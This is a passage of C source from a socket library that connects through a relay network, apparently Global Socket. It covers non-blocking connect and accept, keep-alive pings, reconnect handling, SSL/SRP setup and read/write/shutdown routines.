GS_STATE_SYS_NONE; return GS_SUCCESS; } /* write() data still in output buffer */ DEBUGF("Oops. WFD ready but not in SYS_CONNECT or PKT_PING? (fd = %d, state = %d)\n", sox->fd, sox->state); return GS_ERR_FATAL; } /* gs_ctx->w was set */ /* HERE: rfd is set - ready to read */ DEBUGF_M("rfd is set (state == %d)\n", sox->state); if (sox->flags & GS_SOX_FL_AWAITING_SOCKS) { ret = gs_read_socks(gsocket, sox); } else { ret = gs_read_pkt(gsocket, sox); } return ret; } /* * Call every second to take care of house-keeping and keep * alive messages. */ void GS_heartbeat(GS *gsocket) { int i; if (gsocket == NULL) return; if (gsocket->fd >= 0) return; /* Check if it is time to send a PING to keep the connection alive */ for (i = 0; i < gsocket->net.n_sox; i++) { struct gs_sox *sox = &gsocket->net.sox[i]; XASSERT(sox->state != GS_STATE_APP_CONNECTED, "fd = %d but APP already CONNECTED state\n", gsocket->fd); // Skip if busy with connect() systemcall. if (sox->state == GS_STATE_SYS_CONNECT) { if (GS_TV_TO_USEC(gsocket->ctx->tv_now) < gsocket->net.tv_connect + GS_SEC_TO_USEC(GS_WARN_SLOWCONNECT)) continue; if (sox->flags & GS_SOX_FL_WARN_SLOWCONNECT) continue; // Warning if connection takes longer than expected... sox->flags |= GS_SOX_FL_WARN_SLOWCONNECT; GS_LOG("Connecting to GSRN [%s:%d] takes longer than expected. Still trying...\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port)); continue; } // Skip if 'want-write' is already set. We are already trying to write data. // fd is -1 if connect() failed if ((sox->fd >= 0) && (FD_ISSET(sox->fd, gsocket->ctx->wfd))) continue; /* Skip if outstanding PONG..*/ if (sox->flags & GS_SOX_FL_AWAITING_PONG) continue; XASSERT(sox->state != GS_STATE_PKT_ACCEPT, "APP_CONNECTED == false _and_ state == ACCEPT\n"); if (sox->state == GS_STATE_SYS_RECONNECT) { gs_net_try_reconnect_by_sox(gsocket, sox); continue; } if (sox->state == GS_STATE_SYS_NONE) { uint64_t tv_diff = GS_TV_DIFF(&sox->tv_last_data, gsocket->ctx->tv_now); // DEBUGF("diff = %llu\n", tv_diff); if (tv_diff > GS_SEC_TO_USEC(GSRN_DEFAULT_PING_INTERVAL)) { gs_pkt_ping_write(gsocket, sox); memcpy(&sox->tv_last_data, gsocket->ctx->tv_now, sizeof sox->tv_last_data); } continue; } ERREXIT("NOT REACHED\n"); } } static void gs_net_reconnect_by_sox(GS *gs, struct gs_sox *sox) { gs_net_connect_new_socket(gs, sox); /* FIXME: if a connect() call succeeds and this gsocket has more * than 1 'listen' TCP connections trying to connect() then we could * trigger a re-connect on all sox which are in state GS_STATE_SYS_RECONNECT * immediately without having to wait for RECONNECT_DELAY. */ } /* * Try to connect() again or if this is to soon since the failed attempt then * wait and let GS_heartbeat() wake us up when it is time. */ static void gs_net_try_reconnect_by_sox(GS *gs, struct gs_sox *sox) { sox->state = GS_STATE_SYS_RECONNECT; if (GS_TV_TO_USEC(gs->ctx->tv_now) <= gs->net.tv_connect + GS_SEC_TO_USEC(GS_RECONNECT_DELAY)) { DEBUGF_M("To many connect() attempts. Heartbeat will wake us later...\n"); return; } /* Ignore return value. If this fails then ignorning return value means * we will re-use old IP (which is what we want). */ /* Only update IP from hostname like every 12h or so (this should never change) */ if (GS_TV_TO_USEC(gs->ctx->tv_now) > gs->net.tv_gs_hton + GS_SEC_TO_USEC(GS_GS_HTON_DELAY)) { if (gs->net.hostname != NULL) { DEBUGF_Y("Newly resolving %s\n", gs->net.hostname); gs_set_ip_by_hostname(gs, gs->net.hostname); } } gs_net_reconnect_by_sox(gs, sox); } /* * Only called while APP is not yet connected and managing GS-packets. * Check "fd_accepted" for any fd that can be passed to app-layer. * * Return 0 on success. */ static int gs_process(GS *gsocket) { int ret; int i; if (gsocket->fd >= 0) { DEBUGF("*** WARNING ***: No more GS-Net messages after accept please..\n"); ERREXIT("Should not happen\n"); return GS_ERR_FATAL; // NOT REACHED } for (i = 0; i < gsocket->net.n_sox; i++) { struct gs_sox *sox = &gsocket->net.sox[i]; /* No PING/PONG (KeepAlive) and no further processing of any * GS Protocol messages once the GS-SOCKET is connected. * Instead forward all read() data to application via GS_read(). */ if (sox->state == GS_STATE_APP_CONNECTED) { ERREXIT("Should not happen\n"); /* GS is disengaged from GS-Net..*/ continue; } if (FD_ISSET(sox->fd, gsocket->ctx->r) || FD_ISSET(sox->fd, gsocket->ctx->w)) { ret = gs_process_by_sox(gsocket, sox); DEBUGF("gs_process_by_sox() = %d\n", ret); if (ret == GS_ERROR) { /* GS_connect() shall not auto reconnect */ if (!(gsocket->flags & GS_FL_AUTO_RECONNECT)) return GS_ERR_FATAL; /* HERE: Auto-Reconnect. Failed in connect() or write(). */ DEBUGF_M("GS-NET error. Re-connecting...\n"); GS_LOG_ERR("%s GSRN %s. Re-connecting to %s:%d...\n", GS_logtime(), strerror(errno), int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port)); close(sox->fd); gs_net_init_by_sox(gsocket->ctx, sox); gs_net_try_reconnect_by_sox(gsocket, sox); continue; } if (ret != GS_SUCCESS) { DEBUGF_R("FATAL errno(%d) = %s\n", errno, strerror(errno)); return GS_ERR_FATAL; } // HERE: connect() succeeded memcpy(&sox->tv_last_data, gsocket->ctx->tv_now, sizeof sox->tv_last_data); /* Immediatly let app know that a new gs-connection has been accepted */ if (gsocket->net.fd_accepted >= 0) break; /* We must CLEAR currently processed fd. Otherwise it can happen * that another fd of this listening socket is also ready for r/w * and we would process _this_ fd again (it's a sequential for-loop * over all fd's of a listening gsocket. */ FD_CLR(sox->fd, gsocket->ctx->r); FD_CLR(sox->fd, gsocket->ctx->w); /* 'break' here. The calling function's 'select' loop will call us again. * Otherwise the 'n = select()' counter will be off (if we process multiple * fd's at once without n-- the counter. */ // break; } } DEBUGF("Returning 0 (fd_accepted == %d)\n", gsocket->net.fd_accepted); return 0; } int GS_get_fd(GS *gsocket) { /* If socket is connected already (APP layer) */ if (gsocket->fd >= 0) return gsocket->fd; /* Connecting socket. * Note: We may accidentially return a Accepting-socket here * which is bad (GS_get_fd() is only valid on connecting * or established socket but not on accpepting sockets (because * accepting sockets operate on an array of accepting sockets rather * than a single socket. */ if (gsocket->net.n_sox > 1) return -1; return gsocket->net.sox[0].fd; } /* * Return 0 on success. * Called from gs_net_connect */ static int gs_net_new_socket(GS *gsocket, struct gs_sox *sox) { int s; int ret; gsocket->flags |= GS_FL_CALLED_NET_NEW_SOCKET; s = socket(PF_INET, SOCK_STREAM, 0); DEBUGF_W("socket() == %d (LIB)\n", s); if (s < 0) return -1; ret = fcntl(s, F_SETFL, O_NONBLOCK | fcntl(s, F_GETFL, 0)); if (ret != 0) return -1; gsocket->ctx->max_sox = MAX(s, gsocket->ctx->max_sox); sox->fd = s; return 0; } /* * Create a new socket and connect to GS-NET. */ static int gs_net_connect_new_socket(GS *gs, struct gs_sox *sox) { int ret; /* * If we use the GS_select() subsystem: * After GS_accept() a new TCP connection is established to * the GS-NET. We must track the new fd of that new TCP connection * with GS_select(). Here: Find out the call-back for original listening * socket and assign it to new TCP connection (GS-NET). */ /* GS_select-HACK-1-START */ gselect_cb_t func; int cb_val; func = gs->ctx->func_listen; cb_val = gs->ctx->cb_val_listen; GS_SELECT_CTX *gselect_ctx = gs->ctx->gselect_ctx; /* GS_select_HACK-1-END */ DEBUGF("gs_net_connect called (GS_select() cb_func = %p\n", func); if (sox->fd < 0) { // HERE: socket() does not exist yet. Create it. ret = gs_net_new_socket(gs, sox); if (ret != GS_SUCCESS) return GS_ERROR; } gs->net.tv_connect = GS_TV_TO_USEC(gs->ctx->tv_now); // The calling process expects a socket to be created here regardless // if IP is known. Thus we create a socket but only call 'connect()' once // IP is known (e.g. domain name resolves). if (gs->net.addr == 0) { // IP address failed to resolve. // Go into reconnect state. Heartbeat complete the connect()... if (sox->state == GS_STATE_SYS_RECONNECT) return GS_SUCCESS; // return immediately if this is already a reconnect sox->state = GS_STATE_SYS_RECONNECT; } else { GS_LOG_VV("Connecting to %s:%d...\n", int_ntoa(gs->net.addr), ntohs(gs->net.port)); /* Connect TCP */ ret = gs_net_connect_by_sox(gs, sox); DEBUGF("gs_net_connect_by_sox(fd = %d): %d, %s\n", sox->fd, ret, strerror(errno)); if (ret == GS_ERR_FATAL) ERREXIT("%s\n", GS_CTX_strerror(gs->ctx)); } /* GS_select-HACK-1-START */ if (gs->ctx->gselect_ctx != NULL) { DEBUGF_B("Using GS_select() with new fd = %d, func = %p\n", sox->fd, func); /* HERE: We are using GS_select(). Track new fd. */ gs_listen_add_gs_select_by_sox(gselect_ctx, func, sox->fd, gs, cb_val); } /* GS_select-HACK-1-END */ return GS_SUCCESS; } /* * Connect to the GS-NET (non-blocking). * Return 0 on success. * Return -1 on fatal error (must exist). */ static int gs_net_connect(GS *gsocket) { int ret; int i; GS_CTX *gs_ctx; if (gsocket == NULL) return -1; gs_ctx = gsocket->ctx; if (gs_ctx == NULL) return -1; if (gsocket->flags & GS_FL_TCP_CONNECTED) return 0; /* Already connected */ for (i = 0; i < gsocket->net.n_sox; i++) { struct gs_sox *sox = &gsocket->net.sox[i]; ret = gs_net_connect_new_socket(gsocket, sox); if (ret != GS_SUCCESS) return ret; } /* FOR loop over all sockets */ return 0; } static void gs_net_init_by_sox(GS_CTX *ctx, struct gs_sox *sox) { XFD_CLR(sox->fd, ctx->wfd); XFD_CLR(sox->fd, ctx->rfd); memset(sox, 0, sizeof *sox); sox->fd = -1; } static void gs_net_init(GS *gsocket, int backlog) { int i; backlog = MIN(backlog, GS_MAX_SOX_BACKLOG); gsocket->net.n_sox = backlog; for (i = 0; i < gsocket->net.n_sox; i++) { gs_net_init_by_sox(gsocket->ctx, &gsocket->net.sox[i]); } } /* * Free fd from GS-NET structure and pass to application layer. * Return 0 on success. * * This function is called by GS_accept() and GS_connect() * GS_connect() is gsocket == new_gs because the same GS is used * whereas for GS_accept() the gsocket is the listening socket (that will * continue to listen) and new_gs is a newly created GS. */ static int gs_net_disengage_tcp_fd(GS *gsocket, GS *new_gs) { int i; int new_fd = -1; for (i = 0; i < gsocket->net.n_sox; i++) { struct gs_sox * sox = &gsocket->net.sox[i]; if (sox->fd != gsocket->net.fd_accepted) continue; /* * Return GS-connected socket fd to app (and stop processing any PKT on that fd...). */ new_fd = gsocket->net.fd_accepted; gsocket->net.fd_accepted = -1; gsocket->flags &= ~GS_FL_TCP_CONNECTED; gsocket->net.conn_count -= 1; if (gsocket->net.conn_count < 0) ERREXIT("FATAL: conn_count dropped to %d\n", gsocket->net.conn_count); sox->state = GS_STATE_SYS_NONE; sox->fd = -1; gs_instantiate(gsocket, new_gs, new_fd); return 0; } DEBUGF("*** WARNING ***: Can This happen???\n"); return -2; } /* * non-blocking. * Return -1 for waiting. * Return -2 on error * Return 0 on success. */ static int gs_connect(GS *gsocket) { int ret; DEBUGF("gs_connect(fd = %d)\n", gsocket->fd); /* Connect to GS-NET if not already connected */ if (!(gsocket->flags & GS_FL_CALLED_NET_CONNECT)) { gsocket->flags |= GS_FL_CALLED_NET_CONNECT; gsocket->flags |= GS_FL_IS_CLIENT; gs_net_init(gsocket, 1); DEBUGF("Connecting to GS-Net...\n"); ret = gs_net_connect(gsocket); DEBUGF("gs_net_connect() = %d\n", ret); if (ret != 0) return GS_ERR_FATAL; return GS_ERR_WAITING; } ret = gs_process(gsocket); DEBUGF("gs_process() = %d, error(%d) = %s\n", ret, errno, errno?strerror(errno):""); if (ret != 0) return GS_ERR_FATAL; if (gsocket->net.fd_accepted >= 0) { DEBUGF_B("New GS connection SUCCESS (fd = %d)\n", gsocket->net.fd_accepted); /* On connect() we do not create a new socket but assign existing * tcp-socket to this connection. */ ret = gs_net_disengage_tcp_fd(gsocket, gsocket); if (ret != 0) return GS_ERR_FATAL; return 0; } return GS_ERR_WAITING; } /* * Return 0 on success. */ static int gs_connect_blocking(GS *gsocket) { int ret; int n; ret = gs_connect(gsocket); GS_CTX *ctx = gsocket->ctx; while (1) { struct timeval tv = {1, 0}; // FIXME: there could be many other fd's set here from other CTX. We really // should only set our fd's from this gsocket (either ->fd or ->gs_net). memcpy(ctx->r, ctx->rfd, sizeof *ctx->r); memcpy(ctx->w, ctx->wfd, sizeof *ctx->w); n = select(gsocket->ctx->max_sox + 1, ctx->r, ctx->w, NULL, &tv); if ((n < 0) && (errno == EINTR)) continue; gettimeofday(gsocket->ctx->tv_now, NULL); GS_heartbeat(gsocket); if (n == 0) continue; ret = gs_connect(gsocket); DEBUGF("gs_connect() = %d, gsocket->fd = %d\n", ret, gsocket->fd); if (ret == GS_ERR_WAITING) continue; if (ret == GS_ERR_FATAL) return GS_ERR_FATAL; DEBUGF("Setting FD BLOCKING\n"); int tcp_fd = gsocket->fd; /* Make tcp fd 'blocking' for caller. */ fcntl(tcp_fd, F_SETFL, ~O_NONBLOCK & fcntl(tcp_fd, F_GETFL, 0)); return ret; } ERREXIT("Oops. This should not happen\n"); return GS_ERR_FATAL; } /* * Return 0 on success. * Return -1 if still waiting for connection to be established. * Return -2 on error. */ int GS_connect(GS *gsocket) { int ret; DEBUG_SETID(gsocket); if (gsocket->net.fd_accepted >= 0) { /* This GS-socket is already connected.... */ errno = EBUSY; return GS_ERR_FATAL; } /* For auto-reconnecting client side (is it needed?) consider: * - How to handle when no listening server is available * - Warn user if GSRN is unavailable. */ // gsocket->flags |= GS_FL_AUTO_RECONNECT; if (gsocket->flags & GSC_FL_NONBLOCKING) ret = gs_connect(gsocket); else ret = gs_connect_blocking(gsocket); if (ret < 0) { if (errno == ECONNRESET) gsocket->status_code = GS_STATUS_CODE_NETERROR; DEBUGF("GS_connect() will ret = %d (%s)\n", ret, ret==GS_ERR_WAITING?"WAITING":"FATAL"); return ret; } #ifdef WITH_GSOCKET_SSL if (gsocket->flags & GSC_FL_USE_SRP) { ret = gs_srp_init(gsocket); if (ret >= 0) ret = 0; /* SUCCESS */ } #endif return ret; } /* * Return 0 on success. This can not fail. */ int GS_listen(GS *gsocket, int backlog) { DEBUG_SETID(gsocket); gsocket->flags |= GS_FL_AUTO_RECONNECT; gs_net_init(gsocket, backlog); gs_net_connect(gsocket); return 0; } static void gs_listen_add_gs_select_by_sox(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val) { /* There might be some PING/PONG keepalive going on. Set both RW-fds * and let GS_accept() figure it out. * WARNING: If you change this also look for GS_select-HACK-1 */ GS_SELECT_add_cb_r(ctx, func, fd, arg, val); GS_SELECT_add_cb_w(ctx, func, fd, arg, val); } /* * Helper function to set all fd's that the listening gsocket * is using for calling accept() on. Listening gsocket's * listen on more than just 1 fd to allow for gs-peers to connect * rapidly. There usually is only 1 listening gsocket per process. */ void GS_listen_add_gs_select(GS *gs, GS_SELECT_CTX *ctx, gselect_cb_t func, void *arg, int val) { gs->ctx->func_listen = func; gs->ctx->cb_val_listen = val; int i; for (i = 0; i < gs->net.n_sox; i++) { int fd = gs->net.sox[i].fd; gs_listen_add_gs_select_by_sox(ctx, func, fd, arg, val); } } /* * Return a GS on accept or NULL if still waiting. */ /* * Return -1 on waiting * Return -2 on fatal * Return 0 on success. */ static int gs_accept(GS *gsocket, GS *new_gs) { int ret; DEBUGF("Called gs_accept(%p, %p)\n", gsocket, new_gs); ret = gs_process(gsocket); if (ret != 0) { DEBUGF("ERROR: in gs_process(), ret = %d\n", ret); return GS_ERR_FATAL; } /* Check if there is a new gs-connection waiting */ if (gsocket->net.fd_accepted >= 0) { DEBUGF("New GS Connection accepted (fd = %d, n_sox = %d)\n", gsocket->net.fd_accepted, gsocket->net.n_sox); ret = gs_net_disengage_tcp_fd(gsocket, new_gs); XASSERT(ret == 0, "ret = %d\n", ret); if (!(gsocket->flags & GS_FL_SINGLE_SHOT)) { /* Start new TCP to GS-Net to listen for more incoming connections */ gs_net_connect(gsocket); } return GS_SUCCESS; } return GS_ERR_WAITING; /* Waiting for socket */ } /* * Return -1 on waiting * Return -2 on fatal * Return 0 on success. */ int gs_accept_blocking(GS *gsocket, GS *new_gs) { int ret; int n; while (1) { struct timeval tv = {1, 0}; memcpy(gsocket->ctx->r, gsocket->ctx->rfd, sizeof *gsocket->ctx->r); memcpy(gsocket->ctx->w, gsocket->ctx->wfd, sizeof *gsocket->ctx->w); n = select(gsocket->ctx->max_sox + 1, gsocket->ctx->r, gsocket->ctx->w, NULL, &tv); if ((n < 0) && (errno == EINTR)) continue; if (n < 0) DEBUGF_R("select(): %s\n", strerror(errno)); gettimeofday(gsocket->ctx->tv_now, NULL); GS_heartbeat(gsocket); if (n == 0) continue; ret = gs_accept(gsocket, new_gs); if (ret == -2) return -2; if (ret == GS_ERR_WAITING) continue; /* Make tcp fd 'blocking' for caller. */ fcntl(new_gs->fd, F_SETFL, ~O_NONBLOCK & fcntl(new_gs->fd, F_GETFL, 0)); return 0; } ERREXIT("Oops. This should not happen\n"); return -2; /* NOT REACHED */ } /* * Return NULL on Waiting * Return GS otherwise. * * This function can not return 'fatal' as any error such * as SRP failure is recoverable by this sub-system (by for example * opening a new connection and trying again). */ GS * GS_accept(GS *gsocket, int *err) { GS gs_tmp; int ret; DEBUG_SETID(gsocket); if (err != NULL) *err = 0; memset(&gs_tmp, 0, sizeof gs_tmp); if (gsocket->flags & GSC_FL_NONBLOCKING) ret = gs_accept(gsocket, &gs_tmp); else ret = gs_accept_blocking(gsocket, &gs_tmp); if (ret < 0) { if (err != NULL) *err = ret; return NULL; /* WAITING or FATAL */ } /* HERE: gs_accept() SUCCESS */ /* Instantiate gs */ GS *new_gs = calloc(1, sizeof *new_gs); XASSERT(new_gs != NULL, "calloc()\n"); memcpy(new_gs, &gs_tmp, sizeof *new_gs); memcpy(&new_gs->tv_connected, gsocket->ctx->tv_now, sizeof new_gs->tv_connected); new_gs->flags |= GS_FL_IS_SERVER; #ifdef WITH_GSOCKET_SSL if (new_gs->flags & GSC_FL_USE_SRP) { ret = gs_srp_init(new_gs); if (ret < 0) { DEBUGF("gs_srp_init() = %d (FAILED), Closing gs...\n", ret); gs_close(new_gs); /* Free SSL and close socket */ if (err != NULL) *err = -2; return NULL; } } #endif /* All further will be handled by calls to GS_write() or GS_read() */ return new_gs; } /* * as GS_close() but without call to free(). */ static void gs_close(GS *gsocket) { XASSERT(gsocket != NULL, "gsocket == NULL\n"); if (gsocket->fd >= 0) { DEBUGF_B("Closing I/O socket (fd = %d)\n", gsocket->fd); FD_CLR(gsocket->fd, gsocket->ctx->rfd); FD_CLR(gsocket->fd, gsocket->ctx->wfd); FD_CLR(gsocket->fd, gsocket->ctx->r); FD_CLR(gsocket->fd, gsocket->ctx->w); /* HERE: This was not listening socket */ // shutdown(gsocket->fd, SHUT_WR); // sleep(1); // gsocket->fd = -1; XCLOSE(gsocket->fd); return; } /* HERE: There are GS-Net connections that need to be cleaned.*/ int i; /* Close all TCP connections to GS-Network */ DEBUGF_B("Closing %d GSN connections\n", gsocket->net.n_sox); for (i = 0; i < gsocket->net.n_sox; i++) { struct gs_sox * sox = &gsocket->net.sox[i]; if (sox->fd < 0) continue; DEBUGF_B("Closing I/O socket (sox->fd = %d)\n", sox->fd); FD_CLR(sox->fd, gsocket->ctx->rfd); FD_CLR(sox->fd, gsocket->ctx->wfd); FD_CLR(sox->fd, gsocket->ctx->r); FD_CLR(sox->fd, gsocket->ctx->w); XCLOSE(sox->fd); } gsocket->net.n_sox = 0; return; } /* * Return 0 on success. * Return -2 on fatal error. */ int GS_close(GS *gsocket) { DEBUG_SETID(gsocket); DEBUGF_B("read: %"PRId64", written: %"PRId64"\n", gsocket->bytes_read, gsocket->bytes_written); if (gsocket == NULL) return -2; #ifdef WITH_GSOCKET_SSL if (gsocket->flags & GSC_FL_USE_SRP) { if (gsocket->ssl != NULL) { DEBUGF_G("Calling SSL_free()\n"); SSL_free(gsocket->ssl); gsocket->ssl = NULL; } else { DEBUGF_R("gs->ssl == NULL, This must be the listening socket.\n"); } } #endif gs_close(gsocket); memset(gsocket, 0, sizeof *gsocket); free(gsocket); return 0; } /* * Return ERR_WAITING if I/O needs attention (blocking) [Will Trigger CALL-AGAIN] * Return GS_SUCCESS if gsocket is still alive (for reading, but not writing) * Return ERR_FATAL if gsocket is DONE (destroy connection). * Return ERR_FATAL on fatal error (destroy connection). */ int GS_shutdown(GS *gsocket) { int ret; DEBUG_SETID(gsocket); if (gsocket->flags & GSC_FL_USE_SRP) { if (gsocket->ssl_state != GS_SSL_STATE_RW) { /* Return if the SSL is not yet connected. We can not shut down * unless it's connected. Shutdown triggered after SRP completion. */ gsocket->is_want_shutdown = 1; return GS_SUCCESS; } ret = gs_ssl_shutdown(gsocket); return ret; } else { gsocket->is_sent_shutdown = 1; if (gsocket->eof_count >= 1) ret = shutdown(gsocket->fd, SHUT_RDWR); else ret = shutdown(gsocket->fd, SHUT_WR); DEBUGF_B("tcp shutdown() = %d, eof_count=%d\n", ret, gsocket->eof_count); if (gsocket->eof_count == 0) return GS_SUCCESS; return GS_ERR_FATAL; } return GS_ERR_FATAL; /* NOT REACHED */ } /* * Return error string (0-terminated). * Format: [ - ][[SSL-Error string]] */ const char * GS_CTX_strerror(GS_CTX *gs_ctx) { char *dst = gs_ctx->err_buf2; int dlen = sizeof gs_ctx->err_buf2; *dst = 0; // First record 'errno' (if set) if (errno != 0) snprintf(dst, dlen, "%s", strerror(errno)); // Then add everything from our internal error buffer if (strlen(gs_ctx->err_buf) > 0) { if (errno != 0) snprintf(dst + strlen(dst), dlen - strlen(dst), " - "); // strlcat(dst, " - ", dlen); snprintf(dst + strlen(dst), dlen - strlen(dst), "%s", gs_ctx->err_buf); } /* Get the last SSL error only. Clear the error-queue */ int err = 0; int err2; while (1) { err2 = ERR_get_error(); DEBUGF_Y("err2 = %d\n", err2); if (err2 == 0) break; err = err2; } if (err != 0) { snprintf(dst + strlen(dst), dlen - strlen(dst), " [%s]", ERR_error_string(err, NULL)); } return gs_ctx->err_buf2; } const char * GS_strerror(GS *gsocket) { return GS_CTX_strerror(gsocket->ctx); } /* * Called after CTX has been created. Set template flags for GS. * Flags are copied to GS on GS_new(). */ int GS_CTX_setsockopt(GS_CTX *ctx, int level, const void *opt_value, size_t opt_len) { // PROTO-FLAGS if (level == GS_OPT_SOCKWAIT) { ctx->flags_proto |= GS_FL_PROTO_WAIT; ctx->flags_proto &= ~GS_FL_PROTO_FAST_CONNECT; // Disable fast-connect } else if (level == GS_OPT_CLIENT_OR_SERVER) { ctx->flags_proto |= GS_FL_PROTO_CLIENT_OR_SERVER; ctx->flags_proto &= ~GS_FL_PROTO_FAST_CONNECT; // Disable fast-connect } else if (level == GS_OPT_LOW_LATENCY) { ctx->flags_proto |= GS_FL_PROTO_LOW_LATENCY; } else if (level == GS_OPT_SERVER_CHECK) { ctx->flags_proto |= GS_FL_PROTO_SERVER_CHECK; } // GS-FLAGS else if (level == GS_OPT_BLOCK) ctx->gs_flags &= ~GSC_FL_NONBLOCKING; else if (level == GS_OPT_NO_ENCRYPTION) ctx->gs_flags &= ~GSC_FL_USE_SRP; else if (level == GS_OPT_SINGLESHOT) ctx->gs_flags |= GS_FL_SINGLE_SHOT; // OPTIONS else if (level == GS_OPT_USE_SOCKS) { /* Set if not already set from GS_CTX_init() */ if (ctx->socks_ip == 0) ctx->socks_ip = inet_addr(GS_SOCKS_DFL_IP); } else return -1; // UNKNOWN option return 0; // Success } void GS_FD_CLR_R(GS *gs) { GS_SELECT_CTX *sctx = gs->ctx->gselect_ctx; int fd = gs->fd; if (sctx->is_rw_state_saved[fd]) { // DEBUGF_R("Clearing fd=%d in SAVES state\n", fd); /* Add to saved state */ sctx->saved_rw_state[fd] &= ~0x01; /* clear READ */ } else { // DEBUGF_R("Clearing fd=%d in rfd state\n", fd); FD_CLR(fd, sctx->rfd); } } /* * Return 0 on WOULD_BLOCK * Return FATAL on error * Return EOF * Return length on SUCCESS */ ssize_t GS_read(GS *gsocket, void *buf, size_t count) { ssize_t len; int err = 0; // DEBUGF("GS_read(fd = %d)...\n", gsocket->fd); GS_SELECT_CTX *sctx = gsocket->ctx->gselect_ctx; DEBUG_SETID(gsocket); if (gsocket->flags & GSC_FL_USE_SRP) { #ifndef WITH_GSOCKET_SSL return GS_ERR_FATAL; #else len = gs_ssl_continue(gsocket, GS_CAN_READ); // DEBUGF("gs_ssl_continue()==%zd, ssl-state=%d\n", len, gsocket->ssl_state); if (len <= 0) return len; len = SSL_read(gsocket->ssl, buf, count); if (len <= 0) { err = SSL_get_error(gsocket->ssl, len); DEBUGF_Y("fd=%d, SSL Error: ret = %zd, err = %d (%s) %s\n", gsocket->fd, len, err, GS_SSL_strerror(err), strerror(errno)); gs_set_errorf(gsocket, "SSL: %s", ERR_error_string(err, NULL)); } #endif } else { len = read(gsocket->fd, buf, count); // DEBUGF_M("read(fd=%d) = %zd, errno = %d\n", gsocket->fd, len, errno); if (len == 0) { /* See BUG-TCP-SHUTDOWN: We must stop calling read() if we received * a shutdown() or close() [can not differentiate]. Stop receiving * but still allow sending until write() fails or stdin closes (for gs-pipe) */ /* Must clear both so to never ever read() again (cleartext) */ GS_FD_CLR_R(gsocket); FD_CLR(GS_get_fd(gsocket), gsocket->ctx->rfd); err = SSL_ERROR_ZERO_RETURN; } if (len < 0) { if ((errno != EAGAIN) && (errno != EINTR)) return GS_ERR_FATAL; err = SSL_ERROR_WANT_READ; } } /* SSL_ERROR_ZERO_RETURNS successfully read from socket (an error message, but * nevertheless...we can get out of our saved state gain) */ if ((len > 0) || (err == SSL_ERROR_ZERO_RETURN)) { errno = 0; gsocket->ts_net_io = GS_TV_TO_USEC(gsocket->ctx->tv_now); gsocket->bytes_read += len; // DEBUGF("write_pending=%d\n", gsocket->write_pending); if (gsocket->write_pending == 0) gs_ssl_want_io_finished(gsocket); gsocket->read_pending = 0; gsocket->ctx->gselect_ctx->blocking_func[gsocket->fd] &= ~GS_CALLREAD; // gsocket->ctx->gselect_ctx->current_func[gsocket->fd] = 0; /* Mark if there is still data in the input buffer so another cb is done */ #ifdef WITH_GSOCKET_SSL if ((gsocket->ssl) && (SSL_pending(gsocket->ssl) > 0)) { DEBUGF("rdata-pending\n"); gs_select_set_rdata_pending(gsocket->ctx->gselect_ctx, gsocket->fd, SSL_pending(gsocket->ssl)); } #endif } if (len > 0) return len; // HERE: len > 0 /* ERROR */ if (err == SSL_ERROR_ZERO_RETURN) { gsocket->eof_count++; DEBUGF_R("%d. EOF received by gs (fd = %d).\n", gsocket->eof_count, gsocket->fd); /* Second EOF means that the underlying transport was shut (TCP). It's a hard fail. */ if (gsocket->eof_count >= 2) return GS_ERR_FATAL; /* We sent shutdown already and now we receive a shutdown => Destroy connection. */ if (gsocket->is_sent_shutdown) { DEBUGF_B("I sent a shutdown already. Destroy connection now.\n"); return GS_ERR_FATAL; } return GS_ERR_EOF; } gsocket->read_pending = 1; int ret; ret = 0; if (err == SSL_ERROR_WANT_WRITE) { sctx->blocking_func[gsocket->fd] |= GS_CALLREAD; ret = gs_ssl_want_io_rw(sctx, gsocket->fd, err); } if (err != SSL_ERROR_WANT_READ) return GS_ERR_FATAL; // Any other error return ret; } void GS_SELECT_FD_SET_W(GS *gs) { GS_SELECT_CTX *sctx = gs->ctx->gselect_ctx; int fd = gs->fd; if (sctx->is_rw_state_saved[fd]) { /* Add to saved state */ sctx->saved_rw_state[fd] |= 0x02; /* add WRITE */ } else { XFD_SET(fd, sctx->wfd); } } /* * Return 0 on WOULD_BLOCK * Return -1 on error * Return -2 nothing to be done. * Return lengh on SUCCESS */ ssize_t GS_write(GS *gsocket, const void *buf, size_t count) { ssize_t len; int err; DEBUG_SETID(gsocket); // If already in a stored state then modify the stored state and return to caller // that to be called again (caller must not modify rfd/wfd as this is used by SSL...) GS_SELECT_CTX *sctx = gsocket->ctx->gselect_ctx; // DEBUGF("fd=%d, count=%zu is_state_saved=%d(==%d), pending=%d\n", gsocket->fd, count, sctx->is_rw_state_saved[gsocket->fd], sctx->saved_rw_state[gsocket->fd], gsocket->write_pending); if (sctx->is_rw_state_saved[gsocket->fd]) { /* HERE: *write() blocked previously or SSL_read() WANTS-WRITE */ if (gsocket->write_pending == 0) { /* HERE: GS_write() was called but SSL still busy with SSL_read/SSL_accpet/SSL_connect. * Set wfd in saved state so that when state is restored this function * is triggered. */ DEBUGF_R("*** WARNING **** Wanting to write app data (%zu) while SSL is busy..\n", count); GS_SELECT_FD_SET_W(gsocket); /* This should never be called again because we disable cmd's FD-IN */ return 0; /* WOULD BLOCK */ } /* HERE: w-fd became writeable while in saved state */ } // DEBUGF("GS_write(%zu) to fd = %d, ssl = %p\n", count, gsocket->fd, gsocket->ssl); if (gsocket->flags & GSC_FL_USE_SRP) { #ifndef WITH_GSOCKET_SSL return -1; #else len = gs_ssl_continue(gsocket, GS_CAN_WRITE); if (len <= 0) { // HERE: ssl-state continued. Return. DEBUGF("gs_ssl_continue()==%zd\n", len); return len; } // No state to continue if (count == 0) { // This can happen if we receive an app-ping. This sets // wfd (for writing) to wake up to send the pong-reply. // The write-callback is called and does not know if the SSL-state // has to continue (wanted write?) or if it is an outstanding pong-reply. // Thus the callback calls GS_write() and _here_ we determine that no // SSL-state needed attention. The caller then sends the pong. DEBUGF_C("GS_write() with no data. NO stuck state either.\n"); return -2; } len = SSL_write(gsocket->ssl, buf, count); // DEBUGF_M("SSL_write(%zu) == %zd\n", count, len); if (len <= 0) { err = SSL_get_error(gsocket->ssl, len); DEBUGF_Y("fd=%d (count=%zu), SSL Error: ret = %zd, err = %d (%s)\n", gsocket->fd, count, len, err, GS_SSL_strerror(err)); } #endif } else { if (count == 0) return -2; // Nothing to be done. len = write(gsocket->fd, buf, count); // DEBUGF("write(%zu) = %zd (%s)\n", count, len, errno==0?"ok":strerror(errno)); 